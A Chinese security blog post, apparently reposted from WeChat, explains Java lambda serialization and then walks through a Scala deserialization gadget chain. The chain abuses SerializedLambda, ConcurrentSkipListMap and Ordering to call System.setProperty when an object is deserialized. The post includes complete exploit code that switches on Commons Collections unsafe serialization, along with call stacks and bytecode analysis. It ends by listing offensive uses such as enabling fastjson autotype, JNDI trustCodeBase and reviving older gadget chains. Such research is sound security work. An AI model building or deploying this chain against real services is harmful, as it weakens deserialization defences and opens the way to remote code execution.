Lambda表达式序列化原理
关于Lambda表达式序列化的原理,可以直接参考ObjectStreamClass、ObjectOutputStream和ObjectInputStream的源码,这里直接说结论:
-
前提条件:待序列化对象需要实现Serializable接口
-
待序列化对象中如果存在writeReplace方法,则直接基于传入的实例反射调用此方法得到的返回值类型作为序列化的目标类型,对于Lambda表达式就是SerializedLambda类型
-
反序列化的过程刚好是逆转的过程,调用的方法为readResolve,刚好前面提到SerializedLambda也存在同名的私有方法
-
Lambda表达式的实现类型是VM生成的模板类
SerializedLambda
-
SerializedLambda是Lambda表达式的序列化形式,这类存储了Lambda表达式的运行时信息
-
为了确保Lambda表达式的序列化实现正确性,编译器或者语言类库可以选用的一种方式是确保writeReplace方法返回一个SerializedLambda实例
-
SerializedLambda提供一个readResolve方法,其职能类似于调用"捕获类"中静态方法$deserializeLambda$(SerializedLambda)并且把自身实例作为入参,该过程理解为反序列化过程
-
序列化和反序列化产生的函数对象的身份敏感操作的标识形式(如System.identityHashCode()、对象锁定等等)是不可预测的
最终的结论就是:如果一个函数式接口实现了Serializable接口,那么它的实例就会自动生成了一个返回SerializedLambda实例的writeReplace方法,可以从SerializedLambda实例中获取到这个函数式接口的运行时信息。这些运行时信息就是SerializedLambda的属性:
属性 |
含义 |
capturingClass |
"捕获类",当前的Lambda表达式出现的所在类 |
functionalInterfaceClass |
名称,并且以"/"分隔,返回的Lambda对象的静态类型 |
functionalInterfaceMethodName |
函数式接口方法名称 |
functionalInterfaceMethodSignature |
函数式接口方法签名(其实是参数类型和返回值类型,如果使用了泛型则是擦除后的类型) |
implClass |
名称,并且以"/"分隔,持有该函数式接口方法的实现方法的类型(实现了函数式接口方法的实现类) |
implMethodName |
函数式接口方法的实现方法名称 |
implMethodSignature |
函数式接口方法的实现方法的方法签名(实是参数类型和返回值类型) |
instantiatedMethodType |
用实例类型变量替换后的函数式接口类型 |
capturedArgs |
Lambda捕获的动态参数 |
implMethodKind |
实现方法的MethodHandle类型 |
案例
package Gadgets;
import java.io.*;
import java.lang.reflect.Method;
@FunctionalInterface
interface Function0<R> extends Serializable {
R apply();
}
public class LambdaTest {
public static void main(String[] args) throws Exception{
Function0 runnable = ()-> {
System.out.println("Hello World");
return "Hello World";
};
Method writeRepla = runnable.getClass().getDeclaredMethod("writeReplace");
writeRepla.setAccessible(true);
Object invoke = writeRepla.invoke(runnable);
System.out.println(invoke);
}
}
可以看到输出如下信息
SerializedLambda[capturingClass=class Gadgets.LambdaTest, functionalInterfaceMethod=Gadgets/Function0.apply:()Ljava/lang/Object;, implementation=invokeStatic Gadgets/LambdaTest.lambda$main$3d3fdb01$1:()Ljava/lang/Object;, instantiatedMethodType=()Ljava/lang/Object;, numCaptured=0]
注意:
capturingClass=class Gadgets.LambdaTest指的是Gadgets.LambdaTest#lambda$main$3d3fdb01$1这个方法所在类
implementation=invokeStatic Gadgets/LambdaTest.lambda$main$3d3fdb01$1:()Ljava/lang/Object;
代表具体实现class Gadgets.LambdaTest Gadgets/Function0.apply:()Ljava/lang/Object; 代码逻辑
invokeStatic Gadgets/LambdaTest.lambda$main$3d3fdb01$1:()Ljava/lang/Object
这里的invokeStatic是因为MethodhnaleInfo是REF_invokeStatic
Gadgets/LambdaTest是implClass
lambda$main$3d3fdb01$1是implMethodName
()Ljava/lang/Object是函数Gadgets.LambdaTest#lambda$main$3d3fdb01$1方法签名
package Gadgets;
import java.lang.invoke.SerializedLambda;
import java.lang.invoke.LambdaForm.Hidden;
// $FF: synthetic class
final class LambdaTest$$Lambda$14 implements Function0 {
private LambdaTest$$Lambda$14() {
}
@Hidden
public Object apply() {
return LambdaTest.lambda$main$3d3fdb01$1();
}
private final Object writeReplace() {
return new SerializedLambda(LambdaTest.class, "Gadgets/Function0", "apply", "()Ljava/lang/Object;", 6, "Gadgets/LambdaTest", "lambda$main$3d3fdb01$1", "()Ljava/lang/Object;", "()Ljava/lang/Object;", new Object[0]);
}
}
https://blog.csdn.net/qq_27986857/article/details/133050051
https://www.cnblogs.com/throwable/p/15611586.html
https://blog.csdn.net/wjw465150/article/details/126821047
Scala Chain
package Gadgets;
import scala.Tuple2;
import sun.reflect.ReflectionFactory;
import java.io.*;
import java.lang.invoke.MethodHandleInfo;
import java.lang.invoke.SerializedLambda;
import java.lang.reflect.*;
import java.util.concurrent.ConcurrentSkipListMap;
public class ScalaTest {
public static void main(String[] args) throws Exception {
ReflectionFactory rf = ReflectionFactory.getReflectionFactory();
//e.g command = "org.apache.commons.collections.enableUnsafeSerialization:true");
String command = "org.apache.commons.collections.enableUnsafeSerialization:true";
String[] nameValue = command.split(":");
Tuple2 prop = new scala.Tuple2<>(nameValue[0],nameValue[1]);
long versionUID = ObjectStreamClass.lookup(scala.Tuple2.class).getSerialVersionUID();
System.out.println("VersionUID: " + versionUID);
SerializedLambda lambdaSetSystemProperty = new SerializedLambda(scala.sys.SystemProperties.class,
"scala/Function0", "apply", "()Ljava/lang/Object;",
MethodHandleInfo.REF_invokeStatic, "scala.sys.SystemProperties",
"$anonfun$addOne$1", "(Lscala/Tuple2;)Ljava/lang/String;",
"()Lscala/sys/SystemProperties;", new Object[]{prop});
Class<?> clazz = Class.forName("scala.collection.View$Fill");
Constructor<?> ctor = clazz.getConstructor(int.class, scala.Function0.class);
Object view = ctor.newInstance(1, createFuncFromSerializedLambda(lambdaSetSystemProperty));
clazz = Class.forName("scala.math.Ordering$IterableOrdering");
ctor = rf.newConstructorForSerialization(
clazz, Object.class.getDeclaredConstructor()
);
// ctor = StubClassConstructor.class.getDeclaredConstructor();
Object iterableOrdering = ctor.newInstance();
// on readObject, ConcurrentSkipListMap invokes comparator.compare(Object x, Object y);
// Initialize ConcurrentSkipList with a dummy comparator (a comparator that allows putting values into the list)
ConcurrentSkipListMap map = new ConcurrentSkipListMap((o1, o2) -> 1);
// add the view entry to the map, when the view.iterable().next() is invoked, the System.setProperty lambda is executed
map.put(view, 1);
map.put(view, 2);
// Replace the comparator with the IterableComparator
// IterableComparator is responsible for executing the view.iterable().next() on comparison
Field f = map.getClass().getDeclaredField("comparator");
f.setAccessible(true);
f.set(map,iterableOrdering);
// f.setAccessible(true);
// f.set(map, iterableOrdering);
try {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
ois.readObject();
}catch (Exception e){
}
}
private static Object createFuncFromSerializedLambda(SerializedLambda serialized) throws IOException, ClassNotFoundException, IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(serialized);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
return ois.readObject();
}
}
调用栈
setProperty:922, System (java.lang)
$anonfun$addOne$1:53, SystemProperties (scala.sys)
apply:-1, 1121454968 (scala.sys.SystemProperties$$Lambda$26)
next:1008, Iterator$$anon$22 (scala.collection)
compare:273, Ordering$IterableOrdering (scala.math)
compare:267, Ordering$IterableOrdering (scala.math)
cpr:393, ConcurrentSkipListMap (java.util.concurrent)
readObject:1255, ConcurrentSkipListMap (java.util.concurrent)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:564, Method (java.lang.reflect)
invokeReadObject:1216, ObjectStreamClass (java.io)
readSerialData:2381, ObjectInputStream (java.io)
readOrdinaryObject:2215, ObjectInputStream (java.io)
readObject0:1707, ObjectInputStream (java.io)
readObject:517, ObjectInputStream (java.io)
readObject:475, ObjectInputStream (java.io)
main:60, ScalaTest (Gadgets)
public final class scala.collection.Iterator$$anon$22 extends scala.collection.AbstractIterator<A> {
......
.......
public scala.collection.Iterator$$anon$22(int, scala.Function0);
descriptor: (ILscala/Function0;)V
Code:
0: aload_0
1: iload_1
2: putfield #26 // Field len$3:I
5: aload_0
6: aload_2
7: putfield #51 // Field elem$4:Lscala/Function0;
10: aload_0
11: invokespecial #72 // Method scala/collection/AbstractIterator."<init>":()V
14: aload_0
15: iconst_0
16: putfield #28 // Field i:I
19: return
// 伪代码
public scala.collection.Iterator$$anon$22(int len, scala.Function0 function){
this.len$3=len;
this.elem$4=function;
super.init();
}
javap -cp scala-library-2.13.6.jar -p -s -c scala.sys.SystemProperties
public static final java.lang.String $anonfun$addOne$1(scala.Tuple2); descriptor: (Lscala/Tuple2;)Ljava/lang/String; Code: 0: aload_0 // 调用Tuple2类型参数的_1()方法 1: invokevirtual #359 // Method scala/Tuple2._1:()Ljava/lang/Object; 4: checkcast #238 // class java/lang/String 7: aload_0 // 调用Tuple2类型参数的_1()方法 8: invokevirtual #270 // Method scala/Tuple2._2:()Ljava/lang/Object; 11: checkcast #238 // class java/lang/String // 经过前面两条invokevirtual指令成功从外部取到了我们要修改属性名和值 // 此时堆栈栈顶两个元素分别是属性名、值 // 调用两个参数的静态方法会从栈上load两个出来作为参数 // 也就是我们的参数名和值 // 此处相当于就是java.lang.System#setProperty(propertyName,propertyValue) 14: invokestatic #363 // Method java/lang/System.setProperty:(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; 17: areturn// 大致的伪代码public SystemProperties $anonfun$addOne$1(final Tuple2<String, String> kv) { return System.setProperty((String)kv._1(), (String)kv._2());}// 此处kv就是kv = {Tuple2@1719} "(org.apache.commons.collections.enableUnsafeSerialization,true)" _1 = "org.apache.commons.collections.enableUnsafeSerialization" _2 = "true"
javap -cp scala-library-2.13.6.jar -p -s -c scala.Tuple2
总结
我们前期构造如下实现了scala.Function0的lambda表达式对象
最终实现在scala.collection.AbstractIterator#next方法中触发apply方法进而实现调用java.lang.System#setProperty方法修改属性。
其实本质的利用方式就是去调用我们构造的lambda表达式进而调用scala.sys.SystemProperties.$anonfun$addOne$1方法触发属性修改。
为什么这里的scala.Function0对象要如此构造?
整个链子代码最玄妙的就是这一段代码
SerializedLambda lambdaSetSystemProperty = new SerializedLambda(scala.sys.SystemProperties.class,
"scala/Function0", "apply", "()Ljava/lang/Object;",
MethodHandleInfo.REF_invokeStatic, "scala.sys.SystemProperties",
"$anonfun$addOne$1", "(Lscala/Tuple2;)Ljava/lang/String;",
"()Lscala/sys/SystemProperties;", new Object[]{prop});
Class<?> clazz = Class.forName("scala.collection.View$Fill");
Constructor<?> ctor = clazz.getConstructor(int.class, scala.Function0.class);
Object view = ctor.newInstance(1, createFuncFromSerializedLambda(lambdaSetSystemProperty));
在看这段代码前我们先看一下SerializedLambda
public SerializedLambda(Class<?> capturingClass, // "捕获类",当前的Lambda表达式出现的所在类
String functionalInterfaceClass, // 名称,并且以"/"分隔,返回的Lambda对象的静态类型
String functionalInterfaceMethodName, // 函数式接口方法名称
String functionalInterfaceMethodSignature, // 函数式接口方法签名(其实是参数类型和返回值类型,如果使用了泛型则是擦除后的类型)
int implMethodKind, // 实现方法的MethodHandle类型
String implClass, // 名称,并且以"/"分隔,持有该函数式接口方法的实现方法的类型(实现了函数式接口方法的实现类)
String implMethodName, // 函数式接口方法的实现方法名称
String implMethodSignature, // 函数式接口方法的实现方法的方法签名(实是参数类型和返回值类型)
String instantiatedMethodType, // 用实例类型变量替换后的函数式接口类型
Object[] capturedArgs) // Lambda捕获的动态参数
属性 |
含义 |
capturingClass |
"捕获类",当前的Lambda表达式出现的所在类 |
functionalInterfaceClass |
名称,并且以"/"分隔,返回的Lambda对象的静态类型 |
functionalInterfaceMethodName |
函数式接口方法名称 |
functionalInterfaceMethodSignature |
函数式接口方法签名(其实是参数类型和返回值类型,如果使用了泛型则是擦除后的类型) |
implClass |
名称,并且以"/"分隔,持有该函数式接口方法的实现方法的类型(实现了函数式接口方法的实现类) |
implMethodName |
函数式接口方法的实现方法名称 |
implMethodSignature |
函数式接口方法的实现方法的方法签名(实是参数类型和返回值类型) |
instantiatedMethodType |
用实例类型变量替换后的函数式接口类型 |
capturedArgs |
Lambda捕获的动态参数 |
implMethodKind |
实现方法的MethodHandle类型 |
可以看到这里实际上就是在手动构造一个系列化形式的Lambda表达式,而之所以要这么做是因为此处的scala.Function0类并未实现Serializable接口
SerializedLambda(
scala.sys.SystemProperties.class,
"scala/Function0",
"apply",
"()Ljava/lang/Object;", // scala/Function0#apply接口方法签名
MethodHandleInfo.REF_invokeStatic, // Member: static T m(A*); 形式: (T) C.m(arg*)
"scala.sys.SystemProperties",
"$anonfun$addOne$1",
"(Lscala/Tuple2;)Ljava/lang/String;",
"()Lscala/sys/SystemProperties;",
new Object[]{prop}
);
此处capturingClass参数为scala.sys.SystemProperties.class是因为scala.sys.SystemProperties#$anonfun$addOne$1方法存在于这个类
此处的MethodHandleInfo为MethodHandleInfo.REF_invokeStatic代表我们要实现的函数接口apply的代码体为implClass.implMethodName(capturedArgs)
此处构造的lambda表达式相当于就是一个类型为scala.Function0的lambda表达式,该表达式对象的apply接口方法代码实体为
return implClass(scala.sys.SystemProperties).implMethodName($anonfun$addOne$1)(capturedArgs(new Object[]{prop}));
这里的(Lscala/Tuple2;)Ljava/lang/String;是scala.sys.SystemProperties#$anonfun$addOne$1方法签名
这里的"()Lscala/sys/SystemProperties;"暂未发现实际意义,直接写成和apply接口方法签名(()Ljava/lang/Object;)一样也行,测试发现只要签名字符串格式合法即可,例如()Ljava/lang/String;也可以
只需要保证参数格式和前面的apply方法一样即可(即无参数),例如()Lscala/Function0;、()Ljava/lang/Object;、()Lscala/sys/SystemProperties;
这里的new Object[]{prop}是传递给scala.sys.SystemProperties#$anonfun$addOne$1的参数
public SerializedLambda(Class<?> capturingClass, // "捕获类",当前的Lambda表达式出现的所在类
String functionalInterfaceClass, // 名称,并且以"/"分隔,返回的Lambda对象的静态类型
String functionalInterfaceMethodName, // 函数式接口方法名称
String functionalInterfaceMethodSignature, // 函数式接口方法签名(其实是参数类型和返回值类型,如果使用了泛型则是擦除后的类型)
int implMethodKind, // 实现方法的MethodHandle类型
String implClass, // 名称,并且以"/"分隔,持有该函数式接口方法的实现方法的类型(实现了函数式接口方法的实现类)
String implMethodName, // 函数式接口方法的实现方法名称
String implMethodSignature, // 函数式接口方法的实现方法的方法签名(实是参数类型和返回值类型)
String instantiatedMethodType, // 用实例类型变量替换后的函数式接口类型
Object[] capturedArgs) // Lambda捕获的动态参数
为什么此处一定得是scala.sys.SystemProperties
javap -cp scala-library-2.13.6.jar -p -s -c scala.sys.SystemProperties
private static java.lang.Object $deserializeLambda$(java.lang.invoke.SerializedLambda);
descriptor: (Ljava/lang/invoke/SerializedLambda;)Ljava/lang/Object;
Code:
0: aload_0
1: invokedynamic #386, 0 // InvokeDynamic #9:lambdaDeserialize:(Ljava/lang/invoke/SerializedLambda;)Ljava/lang/Object;
6: areturn
// 伪代码
private static java.lang.Object $deserializeLambda$(java.lang.invoke.SerializedLambda serializedLambda){
return lambdaDeserialize(serializedLambda)
}
坑
链子稳定性
这里java.util.concurrent.ConcurrentSkipListMap#readObject调用java.util.concurrent.ConcurrentSkipListMap#cpr的代码受JDK影响,本机(Mac)测试结果:
-
JDK14u2:java.util.concurrent.ConcurrentSkipListMap#readObject中存在java.util.concurrent.ConcurrentSkipListMap#cpr方法调用
-
JDK17:java.util.concurrent.ConcurrentSkipListMap#readObject中存在java.util.concurrent.ConcurrentSkipListMap#cpr方法调用
-
JDK11:java.util.concurrent.ConcurrentSkipListMap#readObject中存在java.util.concurrent.ConcurrentSkipListMap#cpr方法调用
-
JDK8u391:java.util.concurrent.ConcurrentSkipListMap#readObject中不存在java.util.concurrent.ConcurrentSkipListMap#cpr方法调用
-
JDK8u121:java.util.concurrent.ConcurrentSkipListMap#readObject中不存在java.util.concurrent.ConcurrentSkipListMap#cpr方法调用
综上所述:该链子适用于较高版本JDK。
lambda反序列化动态生成的字节文件
我们可以通过配置JVM参数导出在程序执行过程动态生成的lambda表达式代理类
-Djdk.internal.lambda.dumpProxyClasses=OutDir
切入面
对抗限制,如:
-
打开fastjson autotype
-
设置高版本JNDI trustCodeBase
-
复活高版本CC链
-
.....
新的挖掘面
-
寻找存在$deserializeLambda$方法的类
-
查看其有没有相关方法存在切入点(如写文件、设置系统属性等)
-
缝合进其他攻击里面作为前置攻击等。
结语
u1s1这链子真绕,文中可能存在错误地方,有懂的师傅直接留言diss俺即可。
原文始发于微信公众号(安全之道):从Scala Chain看新切入面
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论